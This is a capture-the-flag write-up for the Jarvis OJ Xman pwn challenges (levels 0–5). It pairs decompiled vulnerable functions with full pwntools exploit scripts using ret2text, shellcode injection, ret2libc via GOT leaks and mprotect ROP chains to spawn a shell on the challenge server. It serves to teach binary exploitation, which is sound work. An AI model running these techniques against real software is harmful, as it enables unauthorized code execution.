Jarvis OJ Pwn Xman Series
{"author": ["ret2basic"]}
Jarvis OJ
Jarvis OJ
file:
level0: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=8dc0b3ec5a7b489e61a71bc1afa7974135b0d3d4, not stripped
checksec:
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Examine the main function:
int __cdecl main(int argc, const char **argv, const char **envp)
{
write(1, "Hello, World\n", 0xDuLL);
return vulnerable_function();
}
vulnerable_function()
has stack overflow vulnerability:ssize_t vulnerable_function()
{
char buf; // [rsp+0h] [rbp-80h]
return read(0, &buf, 0x200uLL);
}
callsystem()
is able to spawn a shell:int callsystem()
{
return system("/bin/sh");
}
The function
vulnerable_function()
is called and it is vulnerable to buffer overflow attack. The buffer buf is only 0x80
bytes long but we are able to write 0x200
bytes into it at read(0, &buf, 0x200uLL);
. In the binary we can find a "backdoor" function named callsystem()
. Here we should overflow the buffer, control the instruction pointer, and then use ret2text to redirect the control flow to callsystem()
.ret2text is possible when there exist dead code in the program. "Dead code" refers to a piece of code that never gets used by the program. This happens because developer may forget which function is neccessary and which function is useless during the developement process. Also, sometimes the developer would insert some kind of "backdoor" in the project for convenience, and this makes attack convenient in the meantime.
#!/usr/bin/env python3
from pwn import *
#--------Setup--------#
elf = ELF("./level0")
context.arch="amd64
local = False
if local:
r = elf.process()
else:
host = "pwn2.jarvisoj.com"
port = 9881
r = remote(host, port)
#--------ret2text--------#
offset = 136
callsystem = elf.sym["callsystem"]
payload = flat(
b"A" * offset,
callsystem,
)
r.sendlineafter("Hello, World\n", payload)
r.interactive()
file:
level1: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=7d479bd8046d018bbb3829ab97f6196c0238b344, not stripped
checksec:
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
Examine the main function:
int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function();
write(1, "Hello, World!\n", 0xEu);
return 0;
}
vulnerable_function()
has stack overflow vulnerability:ssize_t vulnerable_function()
{
char buf; // [esp+0h] [ebp-88h]
printf("What's this:%p?\n", &buf);
return read(0, &buf, 0x100u);
}
The absence of NX makes this binary vulnerable to ret2shellcode. Since we are allowed to write
0x100
bytes into buf
, the pwntools' built-in shellcode suffices.#!/usr/bin/env python3
from pwn import *
#--------Setup--------#
context(arch="i386", os="linux")
elf = ELF("level1", checksec=False)
local = False
if local:
r = elf.process()
else:
host = "pwn2.jarvisoj.com"
port = 9877
r = remote(host, port)
#--------ret2shellcode--------#
r.readuntil("What's this:").decode()
buf_addr = int(r.read(10), 16)
log.info(f"buf_addr: {hex(buf_addr)}")
offset = 140
shellcode = asm(shellcraft.sh())
payload = flat(
shellcode.ljust(offset, b"\x90"),
buf_addr,
)
r.sendlineafter("?\n", payload)
r.interactive()
file:
level2: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a70b92e1fe190db1189ccad3b6ecd7bb7b4dd9c0, not stripped
checksec:
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Examine the main function:
int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function();
system("echo 'Hello World!'");
return 0;
}
vulnerable_function()
has stack overflow vulnerability:ssize_t vulnerable_function()
{
char buf; // [esp+0h] [ebp-88h]
system("echo Input:");
return read(0, &buf, 0x100u);
}
Since NX is enabled, we can't do ret2shellcode this time because the shellcode stored on stack won't be executed. Instead, we use ret2system since it is one of the standard methods for bypassing NX. Note that both
system
and /bin/sh
are provided in the binary:$ ROPgadget --binary level2 --string "system"
Strings information
============================================================
0x0804824b : system
$ ROPgadget --binary level2 --string "/bin/sh"
Strings information
============================================================
0x0804a024 : /bin/sh
Hence we can call
system("/bin/sh")
directly. This is the easiest type of libc.#!/usr/bin/env python3
from pwn import *
#--------Setup--------#
context(arch="i386", os="linux")
elf = ELF("level2", checksec=False)
local = False
if local:
r = elf.process()
else:
host = "pwn2.jarvisoj.com"
port = 9878
r = remote(host, port)
#--------ret2system--------#
offset = 140
system = elf.plt["system"]
bin_sh = next(elf.search(b"/bin/sh\x00"))
payload = flat(
b"A" * offset,
system,
b"B" * 4, # return address for system()
bin_sh, # argument for system()
)
r.sendlineafter("Input:\n", payload)
r.interactive()
file:
level2_x64: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=17f0f0026ee70f2e0c8c600edcbe06862a9845bd, not stripped
checksec:
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Examine the main function:
int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function(argc, argv, envp);
return system("echo 'Hello World!'");
}
vulnerable_function()
has stack overflow vulnerability:ssize_t vulnerable_function()
{
char buf; // [rsp+0h] [rbp-80h]
system("echo Input:");
return read(0, &buf, 0x200uLL);
}
This time we are dealing with x64 architecture. The major distinction between x86 and x64 is different calling conventions. In x86, the function arguments are stored on the stack. In x64, the first 6 function arguments are stored in registers, in the following order:
- 1.RDI = arg1
- 2.RSI = arg2
- 3.RDX = arg3
- 4.R10 = arg4 (R10 for kernel space and RCX for user space. We are interested in kernel space here.)
- 5.R8 = arg5
- 6.R9 = arg6
If there exists more arguments, the extra ones will be stored on the stack.
To pass
/bin/sh
as the argument for system
, we need to store /bin/sh
in rdi
. This can be done with the pop rdi
gadget:$ ROPgadget --binary level2_x64 --only "pop|ret" | grep rdi
0x00000000004006b3 : pop rdi ; ret
#!/usr/bin/env python3
from pwn import *
#--------Setup--------#
context(arch="amd64", os="linux")
elf = ELF("level2_x64", checksec=False)
local = False
if local:
r = elf.process()
else:
host = "pwn2.jarvisoj.com"
port = 9882
r = remote(host, port)
#--------ret2system--------#
offset = 136
# ROPgadget --binary level2_x64 --only "pop|ret" | grep rdi
pop_rdi = 0x00000000004006b3
bin_sh = next(elf.search(b"/bin/sh\x00"))
system = elf.plt["system"]
payload = flat(
b"A" * offset,
pop_rdi, bin_sh, # pop "/bin/sh" to rdi
system, # call system("/bin/sh")
)
r.sendlineafter("Input:\n", payload)
r.interactive()
file:
level3: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=44a438e03b4d2c1abead90f748a4b5500b7a04c7, not stripped
checksec:
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Examine the main function:
int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function();
write(1, "Hello, World!\n", 0xEu);
return 0;
}
vulnerable_function()
has stack overflow vulnerability:ssize_t vulnerable_function()
{
char buf; // [esp+0h] [ebp-88h]
write(1, "Input:\n", 7u);
return read(0, &buf, 0x100u);
}
No more
system
provided in binary this time, so we need to leak an address (write_got
in this case) from the GOT table and then calculate the libc base address based on this leaked address. Once we have the libc base address, we are able to deduce the addresses of system
and /bin/sh
in libc.The candidates of this leaking phase include
puts
, write
or printf
. They will be called ret2puts
, ret2write
and ret2printf
, respectively. Usually we want to do ret2puts
, but since there is no puts@plt
or printf@plt
in this binary, the only choice left for us is ret2write
.#!/usr/bin/env python3
from pwn import *
#--------Setup--------#
context(arch="i386", os="linux")
elf = ELF("level3", checksec=False)
local = False
if local:
libc = elf.libc
r = elf.process()
else:
libc = ELF("libc-2.19.so")
host = "pwn2.jarvisoj.com"
port = 9879
r = remote(host, port)
#--------ret2write--------#
offset = 140
write_plt = elf.plt["write"]
vulnerable_function = elf.sym["vulnerable_function"]
write_got = elf.got["write"]
payload = flat(
b"A" * offset,
write_plt, # call write(1, write_got, 4)
vulnerable_function, # return address for write()
1, write_got, 4, # arguments for write()
)
"""
Here 1 is fd (stdout), 4 is the # bytes to write
"""
r.sendlineafter("Input:\n", payload)
write_leak = u32(r.read(4))
write_offset = libc.sym["write"]
libc.address = write_leak - write_offset
log.info(f"write_leak: {hex(write_leak)}")
log.info(f"write_offset: {hex(write_offset)}")
log.info(f"libc.address: {hex(libc.address)}")
#--------ret2libc-------#
system = libc.sym["system"]
bin_sh = next(libc.search(b"/bin/sh\x00"))
"""
since libc.address was defined,
the above two address are adjusted automatically.
"""
payload = flat(
b"A" * offset,
system,
b"B" * 4, # return address for system
bin_sh, # argument for system
)
r.sendlineafter("Input:\n", payload)
r.interactive()
file:
level3_x64: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=f01f8fd41061f9dafb9399e723eb52d249a9b34d, not stripped
checksec:
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Examine the main function:
int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function(argc, argv, envp);
return write(1, "Hello, World!\n", 0xEuLL);
}
vulnerable_function()
has stack overflow vulnerability:ssize_t vulnerable_function()
{
char buf; // [rsp+0h] [rbp-80h]
write(1, "Input:\n", 7uLL);
return read(0, &buf, 0x200uLL);
}
We need gadgets
pop rdi
, pop rsi
and pop rdx
this time. We can find pop rdi ; ret
in the binary:$ ROPgadget --binary level3_x64 --only "pop|ret" | grep rdi
0x00000000004006b3 : pop rdi ; ret
However, we can't find an independent gadget like
pop rsi; ret
. The good news is pop rsi ; pop r15 ; ret
could be used as an alternative:$ ROPgadget --binary level3_x64 --only "pop|ret" | grep rsi
0x00000000004006b1 : pop rsi ; pop r15 ; ret
Here we simply pass a junk value into
r15
, so this gadget would do the same job as pop rsi ; ret
.We still need
pop rdx ; ret
. However, this gadget is not present in the binary. It doesn't really matter because the value stored in rdx
is greater than 6 at the moment write
gets called. This is just what we want since the address of write@GOT
won't be longer than 6 bytes. As a result, we don't have to set the value of rdx
on ourselves, so just ignore it.#!/usr/bin/env python3
from pwn import *
#--------Setup--------#
context(arch="amd64", os="linux")
elf = ELF("level3_x64", checksec=False)
local = False
if local:
libc = elf.libc
r = elf.process()
else:
libc = ELF("libc-2.19.so")
host = "pwn2.jarvisoj.com"
port = 9883
r = remote(host, port)
#--------ret2write--------#
offset = 136
write_plt = elf.plt["write"]
vulnerable_function = elf.sym["vulnerable_function"]
write_got = elf.got["write"]
# ROPgadget --binary level3_x64 --only "pop|ret" | grep rdi
pop_rdi = 0x00000000004006b3
# ROPgadget --binary level3_x64 --only "pop|ret" | grep rsi
pop_rsi_r15 = 0x00000000004006b1
payload = flat(
b"A" * offset,
pop_rdi, 1,
pop_rsi_r15, write_got, 1337, # 1337 is just some junk value that gets popped to r15
write_plt, # call write(1, write_got, [rdx])
vulnerable_function, # return address for write
)
r.sendlineafter("Input:\n", payload)
write_leak = u64(r.read(8))
write_offset = libc.sym["write"]
libc.address = write_leak - write_offset
log.info(f"write_leak: {hex(write_leak)}")
log.info(f"write_offset: {hex(write_offset)}")
log.info(f"libc.address: {hex(libc.address)}")
#--------ret2libc-------#
system = libc.sym["system"]
bin_sh = next(libc.search(b"/bin/sh\x00"))
payload = flat(
b"A" * offset,
pop_rdi, bin_sh,
system, # call system("/bin/sh")
)
r.sendlineafter("Input:\n", payload)
r.interactive()
file:
level4: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=44cfbcb6b7104566b4b70e843bc97c0609b7a018, not stripped
checksec:
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Examine the main function:
int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function();
write(1, "Hello, World!\n", 0xEu);
return 0;
}
vulnerable_function()
has stack overflow vulnerability:ssize_t vulnerable_function()
{
char buf; // [esp+0h] [ebp-88h]
return read(0, &buf, 0x100u);
}
The libc file is not given this time, but that's not a problem. We can always query the leaked address from libc database and figure out the libc version as well as the corresponding libc function offsets (relative to the libc base address).
#!/usr/bin/env python3
from pwn import *
#--------Setup--------#
context(arch="i386", os="linux")
elf = ELF("level4", checksec=False)
local = False
if local:
r = elf.process()
else:
host = "pwn2.jarvisoj.com"
port = 9880
r = remote(host, port)
#--------ret2write--------#
offset = 140
write_plt = elf.plt["write"]
vulnerable_function = elf.sym["vulnerable_function"]
write_got = elf.got["write"]
payload = flat(
b"A" * offset,
write_plt,
vulnerable_function, # return address for write()
1, write_got, 4, # arguments for write()
)
r.sendline(payload)
write_leak = u32(r.read(4))
log.info(f"write_leak: {hex(write_leak)}")
#--------Libc Database--------#
# libc database (https://libc.rip/)
# libc version: libc6_2.19-18+deb8u10_i386
write_offset = 0x0c8880
libc_base_address = write_leak - write_offset
system_offset = 0x03de80
bin_sh_offset = 0x12dc51
#--------ret2libc--------#
system = libc_base_address + system_offset
bin_sh = libc_base_address + bin_sh_offset
payload = flat(
b"A" * offset,
system,
b"B" * 4, # return address for system()
bin_sh, # argument for system()
)
r.sendline(payload)
r.interactive()
file:
level5: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=f01f8fd41061f9dafb9399e723eb52d249a9b34d, not stripped
checksec:
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Examine the main function:
int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function(argc, argv, envp);
return write(1, "Hello, World!\n", 0xEuLL);
}
vulnerable_function()
has stack overflow vulnerability:ssize_t vulnerable_function()
{
char buf; // [rsp+0h] [rbp-80h]
write(1, "Input:\n", 7uLL);
return read(0, &buf, 0x200uLL);
}
In this challenge,
system
and execve
are disabled (at least we pretend that they are disabled) and we are supposed to use mmap
or mprotect
. Using mprotect
is the easier route. The exploit splits into three phases:- 1.Leak the address of
write_got
, calculate libc base address and then deduce the address ofmprotect
. - 2.Call
mprotect
to give the.bss
segmentrwx
permission. - 3.Call
read
to start a stdin session and input our shellcode to the.bss
segment. Set the return address ofread
to be the address of.bss
segment so the shellcode gets triggered.
Phase 1 is essentially the same as Level 3 (x64).
Phase 2 is something new. Here we want to call
mprotect(void *addr, size_t len, int prot)
, where:addr
is the address of the buffer.len
is the length of the buffer. Say it is0x1000
, which is more than enough.prot
is the permission that we want that buffer to have, which is7 = 0b111 = rwx
in this case.
Phase 3 is a slightly advanced version of ret2shellcode. Here we use multi-stage shellcode. In stage 1, we call the
read()
function to open a STDIN session. In stage 2, we input the /bin/sh
shellcode from STDIN, and get shell.In stage 1, we use ROP to call
read(int fd, void *buf, size_t nbyte)
, where:fd
should be 0 since we want stdin.buf
is the address of the buffer. We will useelf.bss()
here, which is the beginning of the.bss
segment.nbyte
is the length of our input. Let's say it's0x100
, which is more than enough.
In stage 2, we can input our shellcode from STDIN. If the return address of
read
is set to be elf.bss()
, the shellcode will be triggered and we would get shell.#!/usr/bin/env python3
from pwn import *
#--------Setup--------#
context(arch="amd64", os="linux")
elf = ELF("level5", checksec=False)
local = False
if local:
libc = elf.libc
r = elf.process()
else:
libc = ELF("libc-2.19.so")
host = "pwn2.jarvisoj.com"
port = 9884
r = remote(host, port)
#--------Phase 1: ret2write--------#
offset = 136
write_plt = elf.plt["write"]
vulnerable_function = elf.sym["vulnerable_function"]
write_got = elf.got["write"]
# ROPgadget --binary level5 --only "pop|ret" | grep rdi
pop_rdi = 0x00000000004006b3
# ROPgadget --binary level5 --only "pop|ret" | grep rsi
pop_rsi_pop_r15 = 0x00000000004006b1
payload = flat(
b"A" * offset,
pop_rdi, 1,
pop_rsi_pop_r15, write_got, 1337,
write_plt, # call write(1, write_got, [rdx])
vulnerable_function, # return address for write()
)
r.sendlineafter("Input:\n", payload)
write_leak = u64(r.read(6).ljust(8, b"\x00"))
write_offset = libc.sym["write"]
libc.address = write_leak - write_offset
log.info(f"write_leak: {hex(write_leak)}")
log.info(f"write_offset: {hex(write_offset)}")
log.info(f"libc.address: {hex(libc.address)}")
#--------Phase 2: mprotect--------#
"""
$ man 2 mprotect:
mprotect(void *addr, size_t len, int prot)
mprotect() changes the access protections for the calling process's memory
pages containing any part of the address range in the interval
[addr, addr+len-1]. addr must be aligned to a page boundary.
"""
mprotect = libc.sym["mprotect"]
"""
The address of mproject is auto-adjusted since libc.address was set.
Also, since we know the libc base address,
we can use gadgets from libc from now on.
"""
# ROPgadget --binary libc-2.19.so --only "pop|ret" | grep rsi
pop_rsi = libc.address + 0x0000000000024885
# ROPgadget --binary libc-2.19.so --only "pop|ret" | grep rdx
pop_rdx = libc.address + 0x0000000000000286
log.info(f"elf.bss(): {hex(elf.bss())}")
"""
We have elf.bss() = 0x600a88.
Note that the first argument of mprotect must be an integer multiple of page size.
We can learn the page size using the command "getconf":
$ getconf PAGE_SIZE
4096
Hence addr = k * 0x1000, so we pick addr = 0x600000.
"""
payload = flat(
b"A" * offset,
pop_rdi, 0x600000, # arg1: addr
pop_rsi, 0x1000, # arg2: len
pop_rdx, 7, # arg3: prot (7 = 0b111 = rwx)
mprotect, # call mprotect(0x600000, 0x1000, 7)
vulnerable_function, # return address for mprotect()
)
r.sendlineafter("Input:\n", payload)
#--------Phase 3: ret2shellcode-------#
read = elf.plt["read"]
shellcode = asm(shellcraft.sh())
payload = flat(
b"A" * offset,
pop_rdi, 0, # arg1: fd (0 = stdin)
pop_rsi, elf.bss(), # arg2: buf
pop_rdx, 0x100, # arg3: nbyte
read, # call read(0, elf.bss(), 0x100)
elf.bss(), # return address for read()
)
r.sendlineafter("Input:\n", payload)
r.sendline(shellcode) # the stdin session initiated by the read() function
r.interactive()
Todo!
Last modified 1yr ago